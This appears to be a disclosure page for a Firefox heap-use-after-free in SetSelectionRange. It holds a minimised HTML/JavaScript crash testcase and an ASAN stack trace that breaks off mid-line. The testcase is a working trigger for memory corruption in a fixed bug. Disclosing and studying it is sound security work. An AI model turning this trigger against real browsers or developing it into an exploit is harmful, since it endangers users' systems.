heap-use-after-free in nsTextEditorState::SetSelectionRange
A heap-use-after-free occurs in nsTextEditorState::SetSelectionRange when a selection event handler changes an input element's type, which frees the text editor state while it is still being used. An attacker could trigger a crash of the browser content process, and the memory corruption may be exploitable.
- Fixed in 32 days
- Paid in 36 days
- Disclosed after 32 days
Created attachment 8943525 crash.html (minimised testcase)
The following testcase crashes the latest ASAN build of Firefox 59.0a1 (SourceStamp=b7a651281314d6369658eeb58e3bb181cf95016f). It requires the fuzzPriv extension.
<script> function start() { o15=document.createElement('input'); o15.setRangeText(undefined+""); document.documentElement.onselect=fun0; document.documentElement.onselectstart=fun1; document.documentElement.appendChild(o15); window.setTimeout("tmp()",100); window.setTimeout("location.reload()", 400); } function tmp() { o15.select(); } function fun0() { o15.setSelectionRange(1,-13); fuzzPriv.trustedKeyEvent(document.documentElement,'press',false,false,true,false,37,0); } function fun1() { o212=o15.cloneNode(false); o212.type='number'; o15.type='hidden'; } </script> <body onload="start()"></body>ASAN output:
==31055==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0002788e8 at pc 0x7f83ddca5375 bp 0x7ffc74832330 sp 0x7ffc74832328 READ of size 8 at 0x60c0002788e8 thread T0 (file:// Content) #0 0x7f83ddca5374 in nsTextEditorState::SetSelectionRange(unsigned int, unsigned int, nsITextControlFrame::SelectionDirection, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1799:10 #1 0x7f83dd0f4e6f in mozilla::dom::HTMLInputElementBinding::setSelectionRange(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLInputElement*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLInputElementBinding.cpp:3511:9 #2 0x7f83dd3aed87 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3036:13 #3 0x7f83e3df6a34 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15 #4 0x7f83e3df6a34 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473 #5 0x7f83e3de1a66 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12 #6 0x7f83e3de1a66 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096 #7 0x7f83e3dc8410 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12 #8 0x7f83e3df6f6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15 #9 0x7f83e3df7a92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10 #10 0x7f83e48dda6c in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3029:12 #11 0x7f83dccfe65e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #12 0x7f83dd8a293a in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #13 0x7f83dd8a293a in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #14 0x7f83dd869121 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51 #15 0x7f83dd86b032 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20 #16 0x7f83dd854a33 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:520:14 #17 0x7f83dd8581b8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:865:9 #18 0x7f83dfc8150f in mozilla::PresShell::DispatchEventToDOM(mozilla::WidgetEvent, nsEventStatus*, nsPresShellEventCB*) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:7992:7 #19 0x7f83dfc7dbe9 in mozilla::PresShell::HandleEventInternal(mozilla::WidgetEvent*, nsEventStatus*, bool) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:7786:11 #20 0x7f83dfc7c6f0 in mozilla::PresShell::HandleEventWithTarget(mozilla::WidgetEvent*, nsIFrame*, nsIContent*, nsEventStatus*, bool, nsIContent**) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:7573:17 #21 0x7f83ddc99276 in nsTextInputListener::NotifySelectionChanged(nsIDOMDocument*, nsISelection*, short) /builds/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:927:22 #22 0x7f83db2626b5 in mozilla::dom::Selection::NotifySelectionListeners() /builds/worker/workspace/build/src/dom/base/Selection.cpp:3840:15 #23 0x7f83dff9cc04 in nsFrameSelection::NotifySelectionListeners(mozilla::SelectionType) /builds/worker/workspace/build/src/layout/generic/nsFrameSelection.cpp:2022:23 #24 0x7f83db25aba2 in mozilla::dom::Selection::Extend(nsINode&, unsigned int, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Selection.cpp:3206:25 #25 0x7f83db259a62 in mozilla::dom::Selection::Extend(nsINode*, int) /builds/worker/workspace/build/src/dom/base/Selection.cpp:2921:3 #26 0x7f83dff96021 in nsFrameSelection::TakeFocus(nsIContent*, unsigned int, unsigned int, mozilla::CaretAssociationHint, bool, bool) /builds/worker/workspace/build/src/layout/generic/nsFrameSelection.cpp #27 0x7f83dff92982 in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) /builds/worker/workspace/build/src/layout/generic/nsFrameSelection.cpp:910:14 #28 0x7f83dff9dd49 in nsFrameSelection::PhysicalMove(short, short, bool) /builds/worker/workspace/build/src/layout/generic/nsFrameSelection.cpp:1892:17 #29 0x7f83ddc96675 in nsTextInputSelectionImpl::PhysicalMove(short, short, bool) /builds/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:565:28 #30 0x7f83df5e6b3e in mozilla::SelectionMoveCommands::DoCommand(char const*, nsISupports*) /builds/worker/workspace/build/src/editor/libeditor/EditorCommands.cpp #31 0x7f83dd73ed60 in nsControllerCommandTable::DoCommand(char const*, nsISupports*) /builds/worker/workspace/build/src/dom/commandhandler/nsControllerCommandTable.cpp:147:26 #32 0x7f83dd734a26 in nsBaseCommandController::DoCommand(char const*) /builds/worker/workspace/build/src/dom/commandhandler/nsBaseCommandController.cpp:136:25 #33 0x7f83df00182c in nsXBLPrototypeHandler::DispatchXBLCommand(mozilla::dom::EventTarget*, nsIDOMEvent*) /builds/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:568:17 #34 0x7f83defd42de in nsXBLPrototypeHandler::ExecuteHandler(mozilla::dom::EventTarget*, nsIDOMEvent*) /builds/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:285:12 #35 0x7f83df01f1ed in nsXBLWindowKeyHandler::WalkHandlersAndExecute(nsIDOMKeyEvent*, nsAtom*, nsXBLPrototypeHandler*, unsigned int, mozilla::IgnoreModifierState const&, bool, bool*) /builds/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:793:28 #36 0x7f83df018d86 in nsXBLWindowKeyHandler::WalkHandlersInternal(nsIDOMKeyEvent*, nsAtom*, nsXBLPrototypeHandler*, bool, bool*) /builds/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:647:12 #37 0x7f83df01875e in nsXBLWindowKeyHandler::WalkHandlers(nsIDOMKeyEvent*, nsAtom*) /builds/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:303:3 #38 0x7f83df01e034 in nsXBLWindowKeyHandler::HandleEvent(nsIDOMEvent*) /builds/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:527:10 #39 0x7f83dd869121 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51 #40 0x7f83dd86b032 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20 #41 0x7f83dd854a33 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:520:14 #42 0x7f83dd854dc6 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:549:5 #43 0x7f83dd8581b8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:865:9 #44 0x7f83dd85a0cc in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:932:12 #45 0x7f83db49a3bf in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1359:5 #46 0x7f83dd878571 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:102:9 #47 0x7f83dcdf8043 in mozilla::dom::EventTargetBinding::dispatchEvent(JSContext*, JS::Handle<JSObject*>, mozilla::dom::EventTarget*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventTargetBinding.cpp:981:21 #48 0x7f83dcdf54a6 in mozilla::dom::EventTargetBinding::genericMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventTargetBinding.cpp:1157:13 #49 0x7f83e3df6a34 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15 #50 0x7f83e3df6a34 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473 #51 0x7f83e3de1a66 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12 #52 0x7f83e3de1a66 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096 #53 0x7f83e3dc8410 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12 #54 0x7f83e3df6f6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15 #55 0x7f83e3df7a92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10 #56 0x7f83e48db5f1 in JS_CallFunctionValue(JSContext*, JS::Handle<JSObject*>, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2970:12 #57 0x7f83d9b49302 in xpc::FunctionForwarder(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/js/xpconnect/src/ExportHelpers.cpp:315:18 #58 0x7f83e3df6a34 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15 #59 0x7f83e3df6a34 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473 #60 0x7f83e3de1a66 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:528:12 #61 0x7f83e3de1a66 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3096 #62 0x7f83e3dc8410 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12 #63 0x7f83e3df6f6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15 #64 0x7f83e3df7a92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10 #65 0x7f83e48dda6c in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3029:12 #66 0x7f83dccfe65e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #67 0x7f83dd8a293a in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #68 0x7f83dd8a293a in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #69 0x7f83dd869121 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51 #70 0x7f83dd86b032 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20 #71 0x7f83dd854a33 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:520:14 #72 0x7f83dd8581b8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:865:9 #73 0x7f83dd85a0cc in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:932:12 #74 0x7f83db49a3bf in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1359:5 #75 0x7f83dd7e1b33 in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:70:12 #76 0x7f83d821ca70 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:395:25 #77 0x7f83d8244c5d in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1040:14 #78 0x7f83d825fa30 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:517:10 #79 0x7f83d90ea83a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #80 0x7f83d9042139 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #81 0x7f83d9042139 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #82 0x7f83d9042139 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #83 0x7f83df463dea in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27 #84 0x7f83e3b1fedb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:874:22 #85 0x7f83d9042139 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #86 0x7f83d9042139 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #87 0x7f83d9042139 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #88 0x7f83e3b1f8c1 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:700:34 #89 0x4ee915 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #90 0x4ee915 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:280 #91 0x7f83f701382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #92 0x41dfe8 in _start (/fuzzer3/firefox/firefox+0x41dfe8)
0x60c0002788e8 is located 40 bytes inside of 128-byte region [0x60c0002788c0,0x60c000278940) freed by thread T0 (file:// Content) here: #0 0x4be9f2 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3 #1 0x7f83ddad7317 in operator delete /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:183:12 #2 0x7f83ddad7317 in ReleaseTextEditorState /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1106 #3 0x7f83ddad7317 in mozilla::dom::HTMLInputElement::FreeData() /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1195 #4 0x7f83ddadef49 in mozilla::dom::HTMLInputElement::HandleTypeChange(unsigned char, bool) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:4951:3 #5 0x7f83ddadc255 in mozilla::dom::HTMLInputElement::AfterSetAttr(int, nsAtom*, nsAttrValue const*, nsAttrValue const*, nsIPrincipal*, bool) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1431:9 #6 0x7f83db198193 in mozilla::dom::Element::SetAttrAndNotify(int, nsAtom*, nsAtom*, nsAttrValue const*, nsAttrValue&, nsIPrincipal*, unsigned char, bool, bool, bool, nsIDocument*, mozAutoDocUpdate const&) /builds/worker/workspace/build/src/dom/base/Element.cpp:2773:10 #7 0x7f83db18c42a in mozilla::dom::Element::SetAttr(int, nsAtom*, nsAtom*, nsTSubstring<char16_t> const&, nsIPrincipal*, bool) /builds/worker/workspace/build/src/dom/base/Element.cpp:2615:10 #8 0x7f83dd10d58d in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:889:12 #9 0x7f83dd10d58d in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:884 #10 0x7f83dd10d58d in SetAttr /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/Element.h:1645 #11 0x7f83dd10d58d in SetHTMLAttr /builds/worker/workspace/build/src/dom/html/nsGenericHTMLElement.h:814 #12 0x7f83dd10d58d in SetType /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/HTMLInputElement.h:738 #13 0x7f83dd10d58d in mozilla::dom::HTMLInputElementBinding::set_type(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLInputElement*, JSJitSetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLInputElementBinding.cpp:2470 #14 0x7f83dd3ae439 in mozilla::dom::GenericBindingSetter(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2997:8 #15 0x7f83e3df6a34 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:291:15 #16 0x7f83e3df6a34 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:473 #17 0x7f83e3df9186 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:522:12 #18 0x7f83e3df9186 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541 #19 0x7f83e3df9186 in js::CallSetter(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:670 #20 0x7f83e4ea037c in SetExistingProperty(JSContext*, JS::Handlejs::NativeObject*, JS::Handle<jsid>, JS::HandleJS::Value, JS::HandleJS::Value, JS::Handlejs::NativeObject*, JS::HandleJS::PropertyResult, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2736:10 #21 0x7f83e4e9679c in bool js::NativeSetProperty<(js::QualifiedBool)1>(JSContext*, JS::Handlejs::NativeObject*, JS::Handle<jsid>, JS::HandleJS::Value, JS::HandleJS::Value, JS::ObjectOpResult&) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2764:20 #22 0x7f83e3dda04a in SetProperty /builds/worker/workspace/build/src/js/src/vm/NativeObject.h:1637:12 #23 0x7f83e3dda04a in SetPropertyOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:270 #24 0x7f83e3dda04a in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2893 #25 0x7f83e3dc8410 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:423:12 #26 0x7f83e3df6f6c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495:15 #27 0x7f83e3df7a92 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:541:10 #28 0x7f83e48dda6c in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/worker/workspace/build/src/js/src/jsapi.cpp:3029:12 #29 0x7f83dccfe65e in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:260:37 #30 0x7f83dd8a293a in Call<nsISupports > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:362:12 #31 0x7f83dd8a293a in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:215 #32 0x7f83dd869121 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1111:51 #33 0x7f83dd86b032 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1286:20 #34 0x7f83dd854a33 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:520:14 #35 0x7f83dd8581b8 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:865:9 #36 0x7f83dd85a0cc in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports, mozilla::WidgetEvent*, nsIDOMEvent*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:932:12 #37 0x7f83db49a3bf in nsINode::DispatchEvent(nsIDOMEvent*, bool*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1359:5 #38 0x7f83daf9850e in nsContentUtils::DispatchEvent(nsIDocument*, nsISupports*, nsTSubstring<char16_t> const&, bool, bool, bool, bool*, bool) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4506:18 #39 0x7f83daf982c4 in nsContentUtils::DispatchTrustedEvent(nsIDocument*, nsISupports*, nsTSubstring<char16_t> const&, bool, bool, bool*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:4474:10 #40 0x7f83db23db58 in mozilla::dom::Selection::AddItem(nsRange*, int*, bool) /builds/worker/workspace/build/src/dom/base/Selection.cpp:1130:11 #41 0x7f83db2532c0 in mozilla::dom::Selection::AddRangeInternal(nsRange&, nsIDocument*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Selection.cpp:2359:14 #42 0x7f83db252cc4 in AddRange /builds/worker/workspace/build/src/dom/base/Selection.cpp:2325:10 #43 0x7f83db252cc4 in mozilla::dom::Selection::AddRange(nsIDOMRange*) /builds/worker/workspace/build/src/dom/base/Selection.cpp:2310
previously allocated by thread T0 (file:// Content) here: #0 0x4bed33 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3 #1 0x4ef79d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17 #2 0x7f83ddc9b70a in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:159:12 #3 0x7f83ddc9b70a in nsTextEditorState::Construct(nsITextControlElement*, nsTextEditorState**) /builds/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1179 #4 0x7f83ddad66ce in mozilla::dom::HTMLInputElement::HTMLInputElement(already_AddRefedmozilla::dom::NodeInfo&, mozilla::dom::FromParser, mozilla::dom::HTMLInputElement::FromClone) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:1159:5 #5 0x7f83ddac7aec in NS_NewHTMLInputElement(already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLInputElement.cpp:124:1 #6 0x7f83ddc61b2d in CreateHTMLElement(unsigned int, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:254:41 #7 0x7f83dafcc73a in nsContentUtils::NewXULOrHTMLElement(mozilla::dom::Element**, mozilla::dom::NodeInfo*, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:10110:18 #8 0x7f83ddc61a88 in NS_NewHTMLElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsAtom*, mozilla::dom::CustomElementDefinition*) /builds/worker/workspace/build/src/dom/html/nsHTMLContentSink.cpp:237:10 #9 0x7f83db4e94be in NS_NewElement(mozilla::dom::Element**, already_AddRefedmozilla::dom::NodeInfo&&, mozilla::dom::FromParser, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsNameSpaceManager.cpp:183:12 #10 0x7f83db3c78d1 in nsDocument::CreateElem(nsTSubstring<char16_t> const&, nsAtom*, int, nsTSubstring<char16_t> const*) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8506:17 #11 0x7f83db3ae577 in nsDocument::CreateElement(nsTSubstring<char16_t> const&, mozilla::dom::ElementCreationOptionsOrString const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5946:26 #12 0x7f83dcd45d9c in mozilla::dom::DocumentBinding::createElement(JSContext*, JS::Handle<JSObject*>, nsIDocument*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/DocumentBinding.cpp:1229:59 #13 0x7f83dd3aed87 in 